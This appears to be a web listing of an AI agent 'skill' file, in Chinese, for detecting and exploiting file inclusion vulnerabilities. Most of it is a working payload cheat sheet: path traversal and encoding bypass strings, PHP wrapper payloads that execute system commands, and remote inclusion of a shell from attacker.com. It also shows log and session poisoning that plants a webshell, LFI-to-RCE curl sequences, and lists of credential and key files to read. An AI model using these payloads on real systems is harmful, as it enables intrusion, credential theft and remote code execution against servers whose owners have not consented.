Skip to content
file-inclusion logo

文件包含 (File Inclusion)

file-inclusion

文件包含漏洞检测与利用。当目标存在文件读取、页面包含、模板加载、语言切换功能时使用。包括 LFI、RFI、路径遍历。

SKILL.md

Full skill instructions

文件包含 (File Inclusion)

通过操纵文件路径参数,读取服务器敏感文件或执行恶意代码。

常见指示器

  • 文件参数(file=, page=, path=, template=, lang=, include=)
  • 语言/主题切换功能
  • 文档下载功能
  • 图片/文件预览功能
  • 模板加载功能
  • 日志查看功能

检测方法

1. 基础测试

# 路径遍历
curl "http://target.com/​page?file=../​../​../​etc/​passwd"
curl "http://target.com/​page?file=....//....//....//etc/​passwd"

# 绝对路径
curl "http://target.com/​page?file=/​etc/​passwd"

# 空字节截断 (PHP < 5.3.4)
curl "http://target.com/​page?file=../​../​../​etc/​passwd%00"

2. 协议测试

# PHP 伪协议
curl "http://target.com/​page?file=php://filter/​convert.base64-encode/​resource=index.php"
curl "http://target.com/​page?file=php://input" -d "<?php system('id'); ?>"

攻击向量

本地文件包含 (LFI)

# 基础路径遍历
../​../​../​etc/​passwd
..\..\..\..\windows\win.ini
....//....//....//etc/​passwd
..%2f..%2f..%2fetc/​passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/​passwd

# 绝对路径
/​etc/​passwd
/​etc/​shadow
/​etc/​hosts
/​proc/​self/​environ
/​proc/​self/​cmdline
/​proc/​self/​fd/​0
/​var/​log/​apache2/​access.log
/​var/​log/​apache2/​error.log
/​var/​log/​nginx/​access.log
/​var/​log/​auth.log

# Windows 路径
C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\logs\LogFiles\
C:\xampp\apache\logs\access.log

远程文件包含 (RFI)

# 基础 RFI
http://attacker.com/​shell.txt
http://attacker.com/​shell.txt?
http://attacker.com/​shell.txt%00

# 数据 URI
data://text/​plain,<?php system('id'); ?>
data://text/​plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/​Pg==

PHP 伪协议

# 读取源码 (Base64)
php://filter/​convert.base64-encode/​resource=index.php
php://filter/​read=convert.base64-encode/​resource=config.php

# 代码执行
php://input
# POST: <?php system('id'); ?>

# 数据流
data://text/​plain,<?php system('id'); ?>
data://text/​plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/​Pg==

# 期望协议
expect://id
expect://ls

# ZIP 协议
zip://path/​to/​file.zip%23shell.php
phar://path/​to/​file.phar/​shell.php

日志文件包含

# 1. 污染日志
curl "http://target.com/" -A "<?php system(\$_GET['cmd']); ?>"

# 2. 包含日志
curl "http://target.com/​page?file=/​var/​log/​apache2/​access.log&cmd=id"

# 常见日志路径
/​var/​log/​apache2/​access.log
/​var/​log/​apache2/​error.log
/​var/​log/​nginx/​access.log
/​var/​log/​nginx/​error.log
/​var/​log/​httpd/​access_log
/​var/​log/​httpd/​error_log
/​var/​log/​auth.log
/​var/​log/​mail.log
/​var/​log/​vsftpd.log
/​proc/​self/​fd/​1

Session 文件包含

# 1. 污染 session
# 在用户名等字段注入 PHP 代码

# 2. 包含 session 文件
/​tmp/​sess_<PHPSESSID>
/​var/​lib/​php/​sessions/​sess_<PHPSESSID>
/​var/​lib/​php5/​sess_<PHPSESSID>
C:\Windows\Temp\sess_<PHPSESSID>

/​proc 文件利用

# 环境变量
/​proc/​self/​environ

# 命令行
/​proc/​self/​cmdline

# 文件描述符
/​proc/​self/​fd/​0
/​proc/​self/​fd/​1
/​proc/​self/​fd/​2

# 内存映射
/​proc/​self/​maps

# 当前工作目录
/​proc/​self/​cwd/​index.php

绕过技术

路径绕过

# 双写绕过
....//....//....//etc/​passwd
..../\..../\..../\etc/​passwd

# URL 编码
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/​passwd
%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/​passwd

# Unicode 编码
..%c0%af..%c0%af..%c0%afetc/​passwd
..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fetc/​passwd

# 空字节截断 (PHP < 5.3.4)
../​../​../​etc/​passwd%00
../​../​../​etc/​passwd%00.php
../​../​../​etc/​passwd%00.jpg

后缀绕过

# 空字节
../​../​../​etc/​passwd%00
../​../​../​etc/​passwd%00.php

# 路径截断 (长路径)
../​../​../​etc/​passwd/​./​./​./​./​./[...]/​./
../​../​../​etc/​passwd.....................[...]

# 问号截断
../​../​../​etc/​passwd?
../​../​../​etc/​passwd?.php

过滤绕过

# ../ 被过滤
....//
..../\
....\/
%2e%2e%2f
%2e%2e/
..%2f
%2e%2e%5c

# etc/​passwd 被过滤
/​etc/​./​passwd
/​etc/​passwd/​.
/​etc//passwd
/​etc/​passwd/

协议绕过

# http:// 被过滤
hTtP://attacker.com/​shell.txt
HTTP://attacker.com/​shell.txt
//attacker.com/​shell.txt

# php:// 被过滤
PHP://filter/​convert.base64-encode/​resource=index.php
pHp://filter/​convert.base64-encode/​resource=index.php

敏感文件列表

Linux

/​etc/​passwd
/​etc/​shadow
/​etc/​group
/​etc/​hosts
/​etc/​hostname
/​etc/​resolv.conf
/​etc/​crontab
/​etc/​ssh/​sshd_config
/​etc/​apache2/​apache2.conf
/​etc/​nginx/​nginx.conf
/​etc/​mysql/​my.cnf
/​root/​.bash_history
/​root/​.ssh/​id_rsa
/​root/​.ssh/​authorized_keys
/​home/​user/​.bash_history
/​home/​user/​.ssh/​id_rsa
/​proc/​version
/​proc/​cmdline
/​proc/​self/​environ
/​var/​log/​auth.log
/​var/​log/​apache2/​access.log
/​var/​log/​apache2/​error.log

Windows

C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
C:\Windows\repair\SAM
C:\Windows\repair\SYSTEM
C:\inetpub\wwwroot\web.config
C:\xampp\apache\conf\httpd.conf
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\Users\Administrator\.ssh\id_rsa

Web 应用

# PHP
index.php
config.php
database.php
db.php
settings.php
.htaccess
.htpasswd
wp-config.php
configuration.php

# Java
WEB-INF/​web.xml
WEB-INF/​classes/
META-INF/​MANIFEST.MF

# Python
settings.py
config.py
app.py
requirements.txt

# Node.js
package.json
.env
config.json

LFI to RCE

方法 1: 日志污染

# 1. 注入 PHP 代码到 User-Agent
curl "http://target.com/" -A "<?php system(\$_GET['cmd']); ?>"

# 2. 包含日志文件
curl "http://target.com/​page?file=/​var/​log/​apache2/​access.log&cmd=id"

方法 2: PHP 伪协议

# php://input
curl "http://target.com/​page?file=php://input" -d "<?php system('id'); ?>"

# data://
curl "http://target.com/​page?file=data://text/​plain,<?php system('id'); ?>"

方法 3: Session 污染

# 1. 在 session 中注入代码
# 2. 包含 session 文件
curl "http://target.com/​page?file=/​tmp/​sess_<PHPSESSID>&cmd=id"

方法 4: /​proc/​self/​environ

# 1. 注入代码到 User-Agent
curl "http://target.com/" -A "<?php system(\$_GET['cmd']); ?>"

# 2. 包含 environ
curl "http://target.com/​page?file=/​proc/​self/​environ&cmd=id"

方法 5: 文件上传 + LFI

# 1. 上传包含 PHP 代码的图片
# 2. 通过 LFI 包含上传的文件
curl "http://target.com/​page?file=../​uploads/​shell.jpg"

最佳实践

  1. 先测试基础路径遍历: ../​../​../​etc/​passwd
  2. 尝试不同编码和绕过技术
  3. 测试 PHP 伪协议读取源码
  4. 尝试 LFI to RCE(日志污染、php://input)
  5. 检查是否支持 RFI
  6. 枚举敏感文件(配置文件、密钥、日志)
  7. 分析源码寻找更多漏洞

More Security skills

supabase logo
Security

supabase

Handles the full Supabase workflow from schema changes to deployment, with built-in security guardrails that catch common traps like RLS...

2.7K 308.9K
View

Comprehensive guides and best practices for Neon Serverless Postgres, covering setup, connection methods, authentication, and platform APIs.

98 216.2K
View

Guide for setting up and using Firebase Authentication. Use this skill when the user's app requires user sign-in, user management, or secure data access using auth rules.

462 163.8K
View

A skill to evaluate how secure Firestore security rules are. Use this when Firestore security rules are updated to ensure that the generated rules are extremely secure and robust.

462 127.7K
View

Official skill for integrating Firebase AI Logic (Gemini API) into web applications. Covers setup, multimodal inference, structured output, and security.

462 125.1K
View

Complete Better Auth server and client setup with database adapters, session management, plugins, and security configuration.

222 118.2K
View

Deploy and manage projects on Vercel using token-based authentication. Use when working with Vercel CLI using access tokens rather than interactive login — e.g. "deploy to vercel", "set up vercel", "add environment variables to vercel".

31.9K 116.1K
View
cloudflare logo
Security

cloudflare

Complete Cloudflare platform integration with decision trees for compute, storage, AI, networking, security, and infrastructure-as-code.

3K 110.7K
View

Run Azure compliance and security audits with azqr plus Key Vault expiration checks. Covers best-practice assessment, resource review, policy/compliance validation, and security posture checks. WHEN: compliance scan, security audit, BEFORE running azqr (compliance cli tool), Azure best practices, Key Vault expiration check, expired certificates, expiring secrets, orphaned resources, compliance assessment.

253 103K
View
gws-gmail logo
Security

gws-gmail

Send, read, and manage Gmail messages, drafts, labels, and account settings.

31.2K 78.9K
View

Comprehensive website auditing across 230+ rules in 21 categories including SEO, performance, security, and accessibility.

94 72.3K
View
gws-shared logo
Security

gws-shared

Shared authentication, CLI syntax, and output formatting patterns for gws Google Workspace commands.

31.2K 63.4K
View

Security AI tools

StarByFace logo
Security

StarByFace

Discover your celebrity doppelgänger with StarByFace!

Free
View
GeoSpy logo
Security

GeoSpy

GeoSpy: Pricing, Features, FAQs, and Alternatives for AI Teams

Free
View

Detect AI-generated voices to protect against audio fraud.

Paid
View

Ensure Your Content's Originality with AI Plagiarism Checker

Freemium
View
Img Upscaler logo
Security

Img Upscaler

Upscale images by 400% without quality loss

Freemium
View
AICheatCheck logo
Security

AICheatCheck

Accurately Detect AI-Generated Content with TheChecker.AI

Free
View
D
Security

Detect GPT

Chrome extension that detects and flags AI-generated content

Free
View